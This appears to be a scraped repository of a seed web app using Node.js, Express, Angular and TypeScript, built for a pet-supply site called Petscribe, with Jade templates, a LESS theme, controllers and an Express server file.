div(class="col-md-4")
div(class="row")
div(class="col-md-6")
div(class="Product_Button btn-group" dropdown)
button(id="single-button" class="btn btn-primary btn-block" dropdown-toggle ) {{quantity.adult}} Adult {{quantity.adult==1 ? "Cavy" : "Cavies"}}
span(class="caret")
ul(class="dropdown-menu" role="menu" aria-labelledby="single-button")
li(ng-repeat='n in [0, 1, 2, 3, 4]')
p(ng-click='quantity.adult=n') {{n}}
div(class="col-md-6")
div(class="Product_Button btn-group" dropdown)
button(id="single-button" class="btn btn-primary btn-block" dropdown-toggle) {{quantity.young}} Young {{quantity.young==1 ? "Cavy" : "Cavies"}}
span(class="caret")
ul(class="dropdown-menu" role="menu" aria-labelledby="single-button")
li(ng-repeat='n in [0, 1, 2, 3, 4]')
p(ng-click='quantity.young=n') {{n}}
div(class="col-md-4")
div(class="col-md-2")
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")
div(class="row")
div(class="col-md-12")
div(class="Horizontal_Space")<file_sep>div(id="footer-bot")
div(class="Footer_Content")
center
small © Organization<file_sep>/*! Generated by Live LESS Theme Customizer */
@gray-darker: rgb(17, 17, 17);
@gray-dark: rgb(68, 68, 68);
@gray-light: rgb(187, 187, 187);
@gray-lighter: rgb(221, 221, 221);
@brand-primary: rgb(173, 29, 40);
@brand-success: rgb(72, 202, 59);
@brand-info: rgb(77, 58, 125);
@brand-warning: rgb(222, 187, 39);
@brand-danger: rgb(223, 110, 30);
@body-bg: rgb(16, 138, 147);
@text-color: rgb(255, 255, 255);
@font-family-sans-serif: "Cabin", Arial, sans-serif;
@headings-font-family: 'Lobster', cursive;
@padding-base-vertical: 8px;
@padding-large-vertical: 14px;
@line-height-large: 1.33;
@table-bg-accent: darken(@body-bg, 2.5%);
@table-bg-hover: lighten(@body-bg, 5%);
@table-border-color: darken(@body-bg, 5%);
@btn-default-color: @gray-dark;
@btn-default-bg: @gray-lighter;
@btn-default-border: @btn-default-bg;
@btn-success-color: @btn-primary-color;
@btn-info-color: @btn-primary-color;
@btn-warning-color: @btn-primary-color;
@btn-danger-color: @btn-primary-color;
@input-color-placeholder: @gray-light;
@legend-border-color: darken(@body-bg, 5%);
@dropdown-link-hover-color: rgb(255, 255, 255);
@dropdown-link-hover-bg: @dropdown-link-active-bg;
@dropdown-link-active-color: rgb(255, 255, 255);
@zindex-popover: 1010;
@zindex-tooltip: 1030;
@container-tablet: ((720px + @grid-gutter-width));
@container-desktop: ((940px + @grid-gutter-width));
@container-large-desktop: ((1140px + @grid-gutter-width));
@navbar-default-color: @gray-light;
@navbar-default-bg: @brand-primary;
@navbar-default-link-color: rgb(255, 255, 255);
@navbar-default-link-hover-color: rgb(255, 255, 255);
@navbar-default-link-hover-bg: lighten(@navbar-default-bg, 10%);
@navbar-default-link-active-color: rgb(255, 255, 255);
@navbar-default-brand-hover-bg: none;
@navbar-default-toggle-hover-bg: @navbar-default-link-hover-bg;
@navbar-default-toggle-icon-bar-bg: rgb(255, 255, 255);
@navbar-default-toggle-border-color: @navbar-default-link-hover-bg;
@navbar-inverse-bg: @brand-warning;
@navbar-inverse-link-color: rgb(255, 255, 255);
@navbar-inverse-link-hover-bg: lighten(@navbar-inverse-bg, 10%);
@navbar-inverse-link-active-color: rgb(255, 255, 255);
@navbar-inverse-brand-hover-bg: none;
@navbar-inverse-toggle-hover-bg: @navbar-inverse-link-hover-bg;
@navbar-inverse-toggle-border-color: @navbar-inverse-link-hover-bg;
@nav-tabs-border-color: @nav-link-hover-bg;
@nav-tabs-link-hover-border-color: transparent;
@nav-tabs-active-link-hover-color: rgb(255, 255, 255);
@nav-tabs-active-link-hover-border-color: transparent;
@nav-tabs-justified-link-border-color: transparent;
@nav-tabs-justified-active-link-border-color: transparent;
@nav-pills-active-link-hover-color: rgb(255, 255, 255);
@pagination-bg: lighten(@body-bg, 5%);
@pagination-border: transparent;
@pagination-hover-border: transparent;
@pagination-active-border: transparent;
@pagination-disabled-color: rgb(255, 255, 255);
@pagination-disabled-bg: lighten(@body-bg, 5%);
@pagination-disabled-border: transparent;
@state-success-text: rgb(255, 255, 255);
@state-success-bg: @brand-success;
@state-info-text: rgb(255, 255, 255);
@state-info-bg: @brand-info;
@state-warning-text: rgb(255, 255, 255);
@state-warning-bg: @brand-warning;
@state-danger-text: rgb(255, 255, 255);
@state-danger-bg: @brand-danger;
@tooltip-bg: rgba(0, 0, 0, 0.9);
@popover-arrow-color: rgb(255, 255, 255);
@modal-inner-padding: 20px;
@modal-content-bg: lighten(@body-bg, 5%);
@modal-header-border-color: darken(@body-bg, 5%);
@progress-bg: darken(@body-bg, 5%);
@list-group-bg: lighten(@body-bg, 5%);
@list-group-border: darken(@body-bg, 5%);
@list-group-hover-bg: lighten(@body-bg, 10%);
@list-group-link-color: @link-color;
@list-group-link-heading-color: rgb(255, 255, 255);
@panel-bg: lighten(@body-bg, 5%);
@panel-inner-border: darken(@body-bg, 5%);
@panel-footer-bg: @panel-default-heading-bg;
@panel-default-text: rgb(255, 255, 255);
@panel-default-border: darken(@body-bg, 5%);
@panel-default-heading-bg: lighten(@body-bg, 15%);
@thumbnail-border: @hr-border;
@well-bg: darken(@body-bg, 5%);
@badge-active-color: rgb(255, 255, 255);
@badge-active-bg: @brand-primary;
@breadcrumb-bg: lighten(@body-bg, 5%);
@breadcrumb-color: @gray-lighter;
@breadcrumb-active-color: rgb(255, 255, 255);
@close-color: rgb(255, 255, 255);
@text-muted: rgba(255, 255, 255, 0.6);
@blockquote-small-color: rgba(255, 255, 255, 0.6);
@blockquote-border-color: rgba(255, 255, 255, 0.6);
<file_sep>if (typeof define !== 'function') { var define = require('amdefine')(module) }<file_sep># README #
Seed app for the "NEAT" stack (which I just made up)
Node.js Express Angular.js Typescript
### What is this repository for? ###
* Quick summary
This is a seed app for quickly setting up a webapp with Node.js and Typescript.
It is based off an early prototype of http://petscribe.com.au/ before we switched to C#/.NET Core for the backend.
### How do I get set up? ###
* Summary of set up
* Install VS2015
* Fetch the node modules from package.json (i.e. npm install or right click on npm in the solution explorer...)
* Rebuild the project<file_sep>/// <amd-dependency path="angular" />
/// <amd-dependency path="angular-ui-bootstrap" />
'use strict';
import Product = require("../models/product");
class ProductsController {
constructor(private $scope: any) {
$scope.quantity = { adult: 1, young: 0 };
var available: Array<Product> = [
new Product(1, "Hay"),
new Product(2, "Pellets"),
new Product(3, "Hay & Pellets"),
new Product(4, "Starter Pack"),
];
$scope.products = {
available: available,
selectd: 0
}
}
}
var productsApp: ng.IModule = angular.module('productsApp', ['ui.bootstrap.dropdown']);
export = productsApp.controller('ProductsController', ['$scope', ProductsController]);
<file_sep>/// <amd-dependency path="angular" />
/// <amd-dependency path="angular-ui-bootstrap" />
'use strict';
class NavbarDirective implements ng.IDirective {
constructor(private $scope: any) {
$scope.isCollapsed = false;
}
public restrict = 'AE';
public scope = {
ngModel: "="
};
public link($scope: ng.IScope, element: JQuery, attributes: ng.IAttributes) {
}
}
var navbarApp = angular.module('navbarApp', []);
export = navbarApp.directive('collapseNavbar', ['$scope', NavbarDirective]);
<file_sep>'use strict';
require.config({
paths: {
angular: '/include/angular/angular',
'angular-animate': '/include/angular/angular-animate',
'angular-route': '/include/angular/angular-route',
'angular-resource': '/include/angular/angular-resource',
'angular-ui-bootstrap': '/include/angular-ui-bootstrap/ui-bootstrap'
},
shim: {
angular: {
exports: 'angular'
},
'angular-animate': {
deps: ['angular'],
exports: 'angular-animate'
},
'angular-route': {
deps: ['angular'],
exports: 'angular-route'
},
'angular-resource': {
deps: ['angular'],
exports: 'angular-resource'
},
'angular-ui-bootstrap': {
deps: ['angular'],
exports: 'angular-ui-bootstrap'
}
}
});
window.name = "NG_DEFER_BOOTSTRAP";
require([
'angular',
'./app/' + window.appName
], function (angular, app) {
angular.bootstrap(document, [app.name]);
});<file_sep>/// <amd-dependency path="angular" />
/// <amd-dependency path="angular-ui-bootstrap" />
'use strict';
class ContactsController {
constructor(private $scope: any) {
var emailString : string = "<EMAIL>";
$scope.email = "Petscribe";
$scope.emailLink = "#";
$scope.showAddress = function () {
$scope.email = emailString;
$scope.emailLink = emailString;
}
}
}
var contactsApp = angular.module('contactsApp', ['ui.bootstrap.dropdown']);
export = contactsApp.controller('ContactsController', ['$scope', ContactsController]);<file_sep>import express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function (req, res) {
res.render('products', { name: 'products', title: 'Petscribe' });
});
export = router;<file_sep>extends layout
block content
div(id="main")
div(class="Header")
div(class="Header_Content")
center
h1= title
p Coming soon!
a(class= "btn btn-primary" href='#') Get Started<file_sep>import express = require('express');
import http = require('http');
import path = require('path');
var logger = require('morgan');
var bodyParser = require('body-parser');
//import favicon = require('serve-favicon');
var __dirname = path.resolve('.');
var app = express();
// all environments
app.set('port', process.env.PORT || 3000);
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'jade');
// uncomment after placing your favicon in /public
//app.use(favicon(__dirname + '/public/favicon.ico'));
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));
//app.use(express.methodOverride());
//Static content paths
import stylus = require('stylus');
app.use(stylus.middleware(path.join(__dirname, 'public')));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/include/requirejs', express.static(__dirname + '/node_modules/requirejs/'));
app.use('/include/bootstrap', express.static(__dirname + '/node_modules/bootstrap/dist/'));
app.use('/include/angular', express.static(__dirname + '/node_modules/angular/'));
app.use('/include/angular-ui-bootstrap', express.static(__dirname + '/node_modules/angular-ui-bootstrap/'));
import home = require('./routes/home');
import api = require('./routes/api');
import contacts = require('./routes/contacts');
import products = require('./routes/products');
app.use('/', home);
app.use('/api', api);
app.use('/contacts', contacts);
app.use('/products', products);
//app.get('/users', user.list);
// catch 404 and forward to error handler
app.use(function (req, res, next) {
var err = {
status : 404,
message : 'Not Found'
};
//res.status = 404;
next(err);
});
// error handlers
// development error handler
// will print stacktrace
if (app.get('env') === 'development') {
app.use(function (req, res, next) {
res.status(res.statusCode || 500);
res.render('error', {
message: 'error'
});
});
}
// production error handler
// no stacktraces leaked to user
app.use(function (req, res, next) {
res.status(res.statusCode || 500);
res.render('error', {
message: 'error'
});
});
http.createServer(app).listen(app.get('port'), function () {
console.log('Express server listening on port ' + app.get('port'));
});
<file_sep>doctype html
html
head
title= title
script(type='text/javascript', src='/js/utils/google-analytics.js')
script(type='text/javascript') window.appName = '#{name}' + "App";
script(type='text/javascript', src='/include/requirejs/require.js', data-main="/js/main.js")
script(type='text/javascript', src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-alpha1/jquery.min.js')
script(type='text/javascript', src='/include/bootstrap/js/bootstrap.min.js')
block content-scripts
link(rel='stylesheet', href='/stylesheets/styles/bootstrap-petscribe.css')
link(rel='stylesheet', href='/stylesheets/layouts/#{name}.css')
link(rel='stylesheet', href='/stylesheets/layouts/navbar-top.css')
link(rel='stylesheet', href='/stylesheets/layouts/footer-bot.css')
body
include navbar-top
block content
include footer-bot<file_sep>div(id="navbar-top")
nav(class="navbar navbar-default" )
div(class="container-fluid" )
div(class="navbar-header")
button(type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1" aria-expanded="false")
span(class="sr-only") Toggle navigation
span(class="icon-bar")
a(class="navbar-brand" href="/") Petscribe
div(class="collapse navbar-collapse" id="bs-example-navbar-collapse-1")
ul(class="nav navbar-nav")
ul(class="nav navbar-nav" ng-class='{"collapse-width":isCollapsed}')
li
a(ng-href="#" ng-click='isCollapsed = !isCollapsed') >
li(class="collapse-item")
a(href="/contacts") Contact
li(class="collapse-item")
a(href="#") Adopt
li(class="collapse-item")
a(href="/products") Shop<file_sep>/// <amd-dependency path="angular" />
/// <amd-dependency path="angular-ui-bootstrap" />
'use strict';
class HomeController {
constructor(private $scope: any) {
}
}
var contactsApp = angular.module('homeApp', ['ui.bootstrap.dropdown']);
export = contactsApp.controller('HomeController', ['$scope', HomeController]);
|
78caf8faac4803ed6bd28edb7b6a8a99e3fde3b7
|
[
"Markdown",
"JavaScript",
"TypeScript",
"Less",
"Pug"
] | 20 |
Markdown
|
badcommandorfilename/neat-seed
|
0c058793a8f08ec9bdb004627c3856e9cbaf4c87
|
f55eb2c3c51b3584b723c7cf4e52accbfddde1fb
|
refs/heads/main
|
<repo_name>clayzhu/LeetCode<file_sep>/README.md
# LeetCode
LeetCode 解题过程。
|
e2590bd4f8dc69c864be706d67a962c86c66516d
|
[
"Markdown"
] | 1 |
Markdown
|
clayzhu/LeetCode
|
9bcdb11d7157e838a0e5e6e9e03d38e7aa93a15a
|
47bb41332a8dc08fb872f130d4607187a5294630
|
refs/heads/master
|
<file_sep>package com.openenglish.producers;
import java.util.concurrent.BlockingQueue;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.Mock;
import org.mockito.Mockito;
import org.mockito.runners.MockitoJUnitRunner;
/**
*
* @author DPerez
*
*/
@RunWith(MockitoJUnitRunner.class)
public class FibonacciProducerTest {
@Mock
BlockingQueue<Long> queue;
FibonacciProducer producer;
@Before
public void setup(){
producer = Mockito.spy(new FibonacciProducer(queue, 100L));
}
@Test
public void testRun(){
producer.run();
Mockito.verify(producer, Mockito.atLeastOnce()).run();
Mockito.verify(producer, Mockito.atLeastOnce()).fib(Mockito.anyLong());
}
}
<file_sep>package com.openenglish;
import java.util.List;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import com.openenglish.consumers.Consumer;
import com.openenglish.producers.FibonacciProducer;
import com.openenglish.producers.PrimeNumberProducer;
/**
* Main class to execute in a multi-thread fashion production/consumption of Fibonacci/Prime numbers, printing out just the Fibonacci Primes.
*
*/
public class App {
/**
* @param args
* @throws ExecutionException
* @throws InterruptedException
*/
public static void main(String[] args) throws InterruptedException, ExecutionException {
//Blocking queues
BlockingQueue<Long> fibonacciQueue = new ArrayBlockingQueue<>(100);
BlockingQueue<Long> primeNumbersQueue = new ArrayBlockingQueue<>(100);
//Producers
FibonacciProducer fibonacciProducer = new FibonacciProducer(fibonacciQueue, 100000L);
PrimeNumberProducer primeNumberProducer = new PrimeNumberProducer(primeNumbersQueue, 100000L);
//Consumers
Consumer consumerFibonacci = new Consumer(fibonacciQueue);
Consumer consumerPrimeNumbers = new Consumer(primeNumbersQueue);
ExecutorService executorService = Executors.newFixedThreadPool(4);
executorService.submit(fibonacciProducer);
executorService.submit(primeNumberProducer);
Future<List<Long>> storedFibValues = executorService.submit(consumerFibonacci);
Future<List<Long>> storedPrimeValues = executorService.submit(consumerPrimeNumbers);
for (Long v : storedFibValues.get()){
if (storedPrimeValues.get().contains(v)){
System.out.println("Number " + v + " is a Fibonacci prime");
}
}
executorService.shutdown();
System.out.println("\nTotal Fibonacci consumed values : " + storedFibValues.get().size());
System.out.println("Total Prime consumed values : " + storedPrimeValues.get().size());
}
}
|
dfbbab8a52042ebd9d7c3145e05bb2a2112d81a6
|
[
"Java"
] | 2 |
Java
|
diegap/producerConsumer
|
9fd49fa35c5bb7463632a8a7502166e141b22b0a
|
6c66f1661f5510d3fa18bc90ff8c12796bba9dc1
|
refs/heads/master
|
<file_sep>const quizData = [
{
question: "What is Samia's nickname?",
a: "Sam",
b: "sam-dam",
c: "sam-cat",
d:"samsam",
correct: "d"
}, {
question: "What part of her body does Sumaya like? ",
a: "face",
b: "leg",
c: "hair",
d:"eyes",
correct: "b"
},{
question: "What does Sumaya want? ",
a: "food",
b: "new clothes",
c: "skirts",
d:"shoes",
correct: "d"
},{
question: "What does Samia want from Walmart",
a: "make photos",
b: "clothes",
c: "hair products",
d:"to steal",
correct: "a"
},{
question: " What Salma's faviourte show ",
a: "Brooklyn 99",
b: "IT Crowd",
c: "steven universe",
d:"Adventure Time",
correct: "b"
},
]
let currentQuestion = 0;
let score = 0;
const answerEls = document.querySelectorAll(".answer")
const questionEl = document.getElementById("question")
const atext = document.getElementById("atext");
const btext = document.getElementById("btext");
const ctext = document.getElementById("ctext");
const dtext = document.getElementById("dtext");
const submitBut = document.getElementById("submitButton")
loadQuiz()
function loadQuiz(){
const currentQuestionData = quizData[currentQuestion]
questionEl.textContent = currentQuestionData.question;
atext.textContent = currentQuestionData.a;
btext.textContent = currentQuestionData.b;
ctext.textContent = currentQuestionData.c;
dtext.textContent = currentQuestionData.d;
}
function select() {
let answer = undefined;
answerEls.forEach((answerEl) => {
if(answerEl.checked){
answer = answerEl.id
}
})
return answer
}
submitBut.addEventListener("click", () => {
const answer = select();
if(answer){
currentQuestion++
if (currentQuestion < quizData.length){
loadQuiz()
} else {
alert("Your Done !!!!!")
}
}
}); <file_sep>const btn = document.querySelector('#btn');
const messIn = document.querySelector('#messageIn');
const messOut = document.querySelector('#messageOut');
btn.addEventListener('click', createMessage);
function createMessage(){
let text = [];
text.push(messIn.value);
console.log(text)
if(messIn.value === ''){
alert('Please enter text')
} else {
messOut.innerHTML = text[text.length-1];
messIn.value = ''
}
}<file_sep>let input = document.querySelector('#rounds')
const player1 = document.querySelector('#player1')
const player2 = document.querySelector('#player2')
let player1Display = document.querySelector('#p1Score')
let player2Display= document.querySelector('#p2Score')
let roundsDisplay = document.querySelector('#playing')
const resetbtn = document.querySelector('.reset')
player1.addEventListener('click', playerScore1);
player2.addEventListener('click', playerScore2);
resetbtn.addEventListener('click', reset)
input.addEventListener('change', changeScore)
let p1score = 0
let p2score = 0
let gameOver = false;
let winningScore = 5;
function playerScore1(){
if(!gameOver){
p1score++
if(p1score === winningScore){
gameOver = true;
player1Display.classList.add('green')
}
player1Display.innerHTML = p1score
}
}
function playerScore2(){
if(!gameOver){
p2score++
if(p2score === winningScore){
gameOver = true;
player2Display.classList.add('green')
}
player2Display.innerHTML = p2score
}
}
function reset(){
gameOver = false
p1score = 0
p2score = 0
player1Display.innerHTML = 0
player2Display.innerHTML = 0
player2Display.classList.remove('green')
player1Display.classList.remove('green')
}
function changeScore(){
winningScore = parseInt(input.value)
roundsDisplay.innerHTML = winningScore
reset()
}
<file_sep>const counter = document.querySelector('#count');
const btnAdd = document.querySelector('#btnAdd');
const btnSub = document.querySelector('#btnSub');
btnAdd.addEventListener('click', add);
btnSub.addEventListener('click', sub);
let count = 1;
counter.innerHTML = count;
function add(evt){
count++;
if(count < 0){
counter.style.color = 'red'
} else{
counter.style.color = 'green'
}
counter.innerHTML = count;
counter.animate([{opacity:'0.2'}, {opacity:'1.0'}], {duration: 500, fill:'forwards'})
}
function sub(evt){
count--;
if(count < 0){
counter.style.color = 'red'
} else{
counter.style.color = 'green'
}
counter.innerHTML = count;
counter.animate([{opacity:'0.2'}, {opacity:'1.0'}], {duration: 500, fill:'forwards'})
}<file_sep>const daysEl = document.getElementById("days")
const hoursEl = document.getElementById("hours")
const minutesEl = document.getElementById("minutes")
const secondsEl = document.getElementById("seconds")
const Bday = '8 December 2020'
function countdown(){
const BdayDate = new Date (Bday);
const currentDate = new Date();
const totalSeconds = Math.floor(BdayDate - currentDate)/1000;
const days = Math.floor(totalSeconds /3600/24);
const minutes = Math.floor(totalSeconds/60) % 60;
const hours = Math.floor(totalSeconds /3600) % 24;
const seconds = Math.floor(totalSeconds) % 60;
daysEl.innerHTML = days
hoursEl.innerHTML = hours
minutesEl.innerHTML = formatTime(minutes)
secondsEl.innerHTML = formatTime(seconds)
}
//Calls the function as soon as the page loads
countdown();
function formatTime(time){
return time < 10 ? (`0${time}`) : time;
}
setInterval(countdown,1000);<file_sep>let colorBtn = document.querySelector('.colorBtn');
let bodycolor = document.querySelector('body');
const colors = ['yellow', 'red', 'green', '#9e4244','#E11584', '#FD5DA8','#D4AF37','#8B4513', '355C7D', '6C5B7B', 'FECEAB','A8E6CE', 'FFD3B5','E8175D','FF4E50'];
colorBtn.addEventListener('click',changeColor);
function changeColor (){
let random = Math.floor(Math.random()*colors.length)
bodycolor.style.backgroundColor = colors[random];
}
|
eebb1120a9d4f37bf08539ea047d31a1a369d007
|
[
"JavaScript"
] | 6 |
JavaScript
|
salmafarah/basic-js-projects
|
765205dad02fea4caae75d9e11921eff25c83b3c
|
31fe2fc44a245f23e7753458cf1ff973773c6066
|
refs/heads/master
|
<repo_name>cjd1985/Introduction-to-the-Azure-Data-Migration-Service<file_sep>/Demo/AddDatabaseToSqlServer.ps1
param(
[string]
$userName,
[string]
$password
)
if ((Get-Command Install-PackageProvider -ErrorAction Ignore) -eq $null)
{
# Load the latest SQL PowerShell Provider
(Get-Module -ListAvailable SQLPS `
| Sort-Object -Descending -Property Version)[0] `
| Import-Module;
}
else
{
# Conflicts with SqlServer module
Remove-Module -Name SQLPS -ErrorAction Ignore;
if ((Get-Module -ListAvailable SqlServer) -eq $null)
{
Install-PackageProvider -Name NuGet -MinimumVersion 172.16.58.3 -Force | Out-Null;
Install-Module -Name SqlServer -Force -AllowClobber | Out-Null;
}
# Load the latest SQL PowerShell Provider
Import-Module -Name SqlServer;
}
$query = @'
CREATE DATABASE Pluralsight;
GO
USE Pluralsight;
GO
CREATE TABLE dbo.ArcaneCourses (
CourseKey INT IDENTITY PRIMARY KEY
, Title NVARCHAR(256)
, Link NVARCHAR(256)
)
GO
INSERT dbo.ArcaneCourses
(Title, Link)
VALUES
('Getting Started with PowerShell Core for Linux and macOS', 'https://www.pluralsight.com/courses/getting-started-powershell-core-linux-macos')
, ('Building Your First SSRS Report (with SQL Server 2017)', 'https://www.pluralsight.com/courses/ssrs-building-your-first-report')
, ('Kusto Query Language (KQL) from Scratch', 'https://app.pluralsight.com/library/courses/kusto-query-language-kql-from-scratch/table-of-contents')
, ('Azure PowerShell Playbook: Azure SQL', 'https://www.pluralsight.com/courses/azure-powershell-sql-playbook')
, ('Introduction to Data Warehousing / Business Intelligence', 'https://app.pluralsight.com/library/courses/intro-dwbi-course-2017/table-of-contents')
, ('SQL Server Reporting Services Playbook', 'https://www.pluralsight.com/courses/sql-server-reporting-playbook')
, ('Whats New in SQL Server 2016 Reporting Services' , 'https://www.pluralsight.com/courses/sql-server-2016-reporting-services')
, ('Testing PowerShell with Pester', 'https://www.pluralsight.com/courses/powershell-testing-pester')
, ('Beginning PowerShell Scripting for Developers', 'https://www.pluralsight.com/courses/beginning-powershell-scripting-developers')
, ('SSIS Design Patterns for Data Warehousing', 'https://www.pluralsight.com/courses/ssis-design-patterns-data-warehousing')
, ('Whats New in PowerShell Version 3', 'https://www.pluralsight.com/courses/whats-new-in-psv3')
, ('PowerShell and SQL Server', 'https://www.pluralsight.com/courses/powershell-and-sql-server')
, ('Introduction to PowerShell', 'https://www.pluralsight.com/courses/powershell-intro')
, ('Managing PowerPivot in SharePoint 2010', 'https://www.pluralsight.com/courses/powerpivot-sp-management')
, ('PowerPivot for SharePoint 2010 System Setup', 'https://www.pluralsight.com/courses/powerpivot-for-sp-setup')
, ('Visual Studio 2010 Database Projects', 'https://www.pluralsight.com/courses/vs-db')
, ('Introduction to Data Warehousing and Business Intelligence (2010 Version)', 'https://www.pluralsight.com/courses/intro-dwbi-course')
, ('PowerPivot for Microsoft Excel 2010', 'https://www.pluralsight.com/courses/powerpivot-for-excel')
GO
'@
Invoke-Sqlcmd `
-QueryTimeout 0 `
-ServerInstance . `
-UserName $username `
-Password $<PASSWORD> `
-Query $query
<file_sep>/Demo/ReadMe.md
# The Demo Folder
This folder contains the main project files for this course.
## Workflow
The one file students will need on their machine is the adms.deploy.ps1 file. It executes Azure CLI commands that pull the other needed files from the authors github site.
This architecture was chosen for two reasons. First, it ensures the latest updates are always available to students, Azure changes so often that frequent updates may be required.
Second, during the creation of the Windows Server (more on that in a moment) it needs to pull a PowerShell script from somewhere in order to generate the sample database. It made sense then to use a single source to pull *all* the demo files from.
When students execute the commands in the adms.deploy.ps1 file, it will deploy an Azure template, adms.deploy.json, along with it's accompanying adms.parameters.json file. This template does a lot of work.
First, it sets up a virtual Windows Server with a SQL Server installed on Azure. This machine will act as our "on-premises" database for this course. In addition, during deployment the file AddDatabaseToSQLServer.ps1 is executed, creating the sample database we'll use as a source for our migration project.
Next, it creates an Azure SQL Server. In it we need an empty database to be the target for our migration. An empty database is included in the demo files, Pluralsight.bak. The template restores that empty bak file to the new Azure SQL Server.
In addition, the template also sets up all the required infrastructure bits such as the storage account, disks, and a virtual network.
## File Contents
* AddDatabaseToSqlServer.ps1 - This script creates the sample database on the virtual Windows SQL Server.
* adms.deploy.json - The deployment template.
* adms.deploy.ps1 - The main script to execute, it will generate the needed objects from the template.
* adms.parameters.json - The parameters file that works with the deployment template.
* Pluralsight.bak - A backup of an empty SQL Server database that will be restored to the new Azure SQL Server created by the template.
## Author Information
### Author
<NAME> | @ArcaneCode | <EMAIL>
### Websites
Main Site: [http://arcanecode.me](http://arcanecode.me)
Github: [http://arcanecode.gallery](http://arcanecode.gallery)
### Copyright Notice
This document is Copyright (c) 2019, 2020 <NAME>. All rights reserved.
The code samples herein is for demonstration purposes. No warranty or guarantee is implied or expressly granted.
This document, or the code samples that it accompanies, may not be reproduced in whole or in part without the express written consent of the author. Information within can be used within your own projects.
<file_sep>/Notes/README.md
# The Notes Folder
This folder contains additional files designed to aid the learner.
* course-outline.md - The outline of this course for your easy reference.
* credentials.md - Throughout the course you will need to supply login credentials. For easy reference, I have placed these in this file.
* useful-links.md - Contains download links for all of the tools used in this course.
## Author Information
### Author
<NAME> | @ArcaneCode | <EMAIL>
### Websites
Main Site: [http://arcanecode.me](http://arcanecode.me)
Github: [http://arcanecode.gallery](http://arcanecode.gallery)
### Copyright Notice
This document is Copyright (c) 2019, 2020 <NAME>. All rights reserved.
The code samples herein is for demonstration purposes. No warranty or guarantee is implied or expressly granted.
This document, or the code samples that it accompanies, may not be reproduced in whole or in part without the express written consent of the author. Information within can be used within your own projects.
<file_sep>/Notes/course-outline.md
# Course Outline
## Module 1 - Introduction
Concepts: Introduce the audience to the concepts covered in this course as well as this module.
In this module students will be introduced to the Azure Data Migration Service. They will learn the benefits and use cases for using the service.
Demo Description: Module 1 will have no demo.
Target 3:00
## Module 2 - Setting up Your Environment
Concepts: Students will see how to setup the environment needed for this course.
Demo Description: The demo will begin by showing students where to obtain the Azure CLI application, which will be needed to run the Azure Template.
Next, they will receive a brief overview of the template then will be shown how to run it.
After the template finishes, students will see the objects generated by the template, and how-to login to the virtual machine that was created.
Target 15:00
## Module 3 - An Overview of the Migration Process
Concepts: In this module students will learn what a migration consists of, the various phases, and the tools used in the migration process.
Demo Description: This module is concepts only, thus no demo.
Target 5:00
## Module 4 - Performing a Pre-Migration Database Assessment
Concepts: In this section viewers will see how to assess their existing SQL database prior to an assessment to be aware of any issues that need to be fixed prior to the migration.
Demo Description: The demo begins by showing students where to obtain the Azure Data Migration Assistant. It will then show them how to create an assessment project and look for issues.
The demo is designed to have one thing to fix, students will see what that is and how to fix it, then to re-run the assessment to get confirmation their database is ready to migrate.
Target 15:00
## Module 5 - Migrating the Database Schema
Concepts: In this module, students will see how to use the Azure Data Migration Assistant to migrate the schema of their SQL Server database to the target Azure SQL Database.
Demo Description: Using the Azure Data Migration Assistant, students will see how to generate the SQL code to generate the database on Azure SQL, using their existing SQL Server. They will be shown how to use the assistant to do the migration, but it will also be pointed out how they can save the generated code and use it from another application.
Target 5:00
## Module 6 - Understanding Online vs Offline Migrations
Concepts: The Azure Data Migration Service can operate in two modes, online and offline. It is important to understand the difference, thus we've devoted an entire module to the concept.
Demo Description: No demo for this module
Target 5:00
## Module 7 - Migrating the Data
Concepts: In this module, students will see how to use the Azure Data Migration Service to migrate the data in their SQL Server database to the target Azure SQL Database.
Demo Description: Using the Azure Portal students will see how to generate a new Azure Data Migration Service, and within it generate a project to migrate our sample database. Once migration is complete, they will be shown how to validate the data is present using the SQL Server Management Studio.
Target 15:00
## Module 8 - Summary
Concepts: This module will summarize what they have learned during the course. It will reiterate the tools used, as well as stress the difference in online vs offline migrations.
Demo Description: Students will be shown how to delete the resource group generated during the environment setup module in order to save their resources.
Target 5:00
<file_sep>/Notes/useful-links.md
# Useful Download Links
[Azure CLI Download Page](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-windows?view=azure-cli-latest)
[PowerShell Core 7 Installation Page](https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-windows?view=powershell-7)
[Azure Data Migration Assistant Download Page](https://www.microsoft.com/download/details.aspx?id=53595)
[Demo Source on ArcaneCode GitHub site](https://github.com/arcanecode/Introduction-to-the-Azure-Data-Migration-Service)
<file_sep>/README.md
# Introduction-to-the-Azure-Data-Migration-Service
## Overview
More and more companies are migrating their infrastructure, including their databases, to Azure. In this course, Introduction to the Azure Data Migration Service, you will learn foundational knowledge of Microsoft's migration service.
First, you will learn how to use the Azure Data Migration Assistant to analyze your existing database for any compatibility issues with the Azure SQL platform. Next, you will discover how to use the same tool to generate and deploy your database schema to an Azure SQL Database. Finally, you will explore how to migrate your data using the Data Migration Service.
When you are finished with this course, you will have the skills and knowledge of the Azure Data Migration Service needed to move your database into Azure.
## The Demo Project
This Demo project is in reality a support project. It's purpose is to setup the students Azure platform so that the learner can execute the demos found in the video. See the ReadMe.md file in the Demo folder for a breakdown of each file.
The Notes folder has additional documentation the learner might find useful, such as download links for all the tools and the suggested extensions for VSCode. It too contains a ReadMe.md file with more information about the folder contents.
## Author Information
### Author
<NAME> | @ArcaneCode | <EMAIL>
### Websites
Main Site: [http://arcanecode.me](http://arcanecode.me)
Github: [http://arcanecode.gallery](http://arcanecode.gallery)
### Copyright Notice
This document is Copyright (c) 2019, 2020 <NAME>. All rights reserved.
The code samples herein is for demonstration purposes. No warranty or guarantee is implied or expressly granted.
